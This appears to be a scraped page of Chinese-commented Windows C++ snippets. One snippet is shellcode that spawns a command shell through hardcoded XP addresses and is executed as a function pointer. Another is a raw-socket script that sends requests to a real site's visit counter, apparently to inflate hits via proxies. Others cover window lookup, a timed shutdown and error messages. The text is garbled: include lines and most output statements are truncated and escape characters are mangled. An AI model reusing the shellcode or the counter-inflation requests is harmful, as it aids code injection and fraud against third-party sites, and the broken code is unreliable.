///////////// 功能:查找函数地址 。 所调用的dll可以在msdn找到
#include
#include
typedef void(*MYPROC)(LPTSTR);
using namespace std;
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("Kernel32.dll");
cout<<"DLL LibHandle = "<
cout<<"Funtion Address = "<
}
///// // 弹出dos窗口的shellcode xp2版本
unsigned char shellcode[] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x77/x1D/x80/x7C" //sp3 loadlibrary地址0x77e69f64 xp2:7C801D77
"/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/xC7/x93/xBF/x77" //sp3 System地址0x7801afc3 xp2:77BF93C7
"/xFF/xD0";
int main()
{
( (void(*)(void)) &shellcode )();
return 0;
}
/////// 一些窗口查找
#include
#include
using namespace std;
void main()
{
//MessageBox(0,"lsaint","lsaint",0);
//LoadLibrary("msvcrt.dll");
//system("command.com");
string str("lsaint");
char text[]="lsaint";
// text=str.c_str();
POINT p={20,28};
HWND hWnd, hTextWnd;
hWnd=FindWindow(0,"dlg");
cout<
hTextWnd = GetDlgItem(hWnd , 0x3E9); // 第二个参数为 Control ID 的值,由SPY++查出
// hTextWnd = FindWindowEx(hWnd,0,"EDIT",0); // 第三个参数为类名,SPY++查出
// hTextWnd = ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE); // 为成功;;;?
cout<
// GetWindowText(hWnd,text,10);
// cout<
//PostMessage(hWnd,WM_QUIT,0,0); // 不能用post 见msdn
return;
}
///// 看得出
#include
#include
using namespace std;
int main()
{
int i;
cout<<"Time is : "<
Sleep(i*60);
system("shutdown -t 60");
}
///// // 刷下IP 代理功能测试中
#include "stdafx.h"
#include
//#include
#include
#include
using namespace std;
#pragma comment(lib,"WS2_32.lib")
void main(int argc,char* argv[])
{
WSADATA wsadata;
//char lpbuffer[MAX_PATH*2+50]="0";
sockaddr_in addrin;
SOCKET sock;
char buf[1024];
int num;
memset(buf, '/0', 1024);
if (WSAStartup(MAKEWORD( 2, 2 ),&wsadata)!=0)
cout<<"error1"<
addrin.sin_addr.s_addr = inet_addr("222.188.84.46");
addrin.sin_port =htons(80);
addrin.sin_family=AF_INET;
int rtn = connect(sock,(sockaddr*) &addrin,sizeof(addrin));
if(rtn==-1)
cout<<"connect Error"<
string str;
// str = "CONNECT 222.188.84.46:80 HTTP/1.1/r/nUser-Agent: MyApp/0.1/r/n/r/n";
//send(sock,str.c_str(),str.length(),0);
//recv(sock,buf,sizeof(buf),0);
// cout<
str = "GET http://www.lifekiss.eb.cn/Counter.asp HTTP/1.1/r/n"; // 有些情况无效 要用GET /Counter.asp 不解
//str += "Accept: */*/n";
//str+="Referer: http://www.lifekiss.eb.cn/index.asp?action=Counts_date/r/n";
//str += "Accept-Language: zh-cn/n";
//str += "Accept-Encoding: gzip, deflate/n";
//str += "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)/r/n";
str += "Host: www.lifekiss.eb.cn/r/n/r/n";
//str += "Connection: Keep-Alive/r/n";
//str += "Cookie: ASPSESSIONIDAAAARBRD=IBKLPBGBKGJJNMBJOMNMNJAJ/r/n/r/n";
// int i;
// for(i=0;i<10;i++)
send(sock,str.c_str(),str.length(),0);
for(;;)
{
num = recv(sock ,buf,sizeof(buf),0);
if(num ==-1)
{
cout<<"Error Recv"<
}
if(num ==0)
break;
cout<
cout<
return;
}
================
使用socket编程时,每调用一个函数如bind,listen等,如果出错可以使用WSAGetLastError ()函数得到错误的编号,如果是MFC的CSocket类,使用GetLastError()函数得到错误的编号。但是得到的编号是整形量,对调试没有意义,所以建议大家可以使用下面的程序得到中文错误信息。
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,0, GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), //默认语言
(LPTSTR)&lpMsgBuf, 0, NULL );
//显示
MessageBox(0,(LPCTSTR)lpMsgBuf,_T("GetLastError"),MB_OK|MB_ICONINFORMATION );
//释放内存
::LocalFree( lpMsgBuf );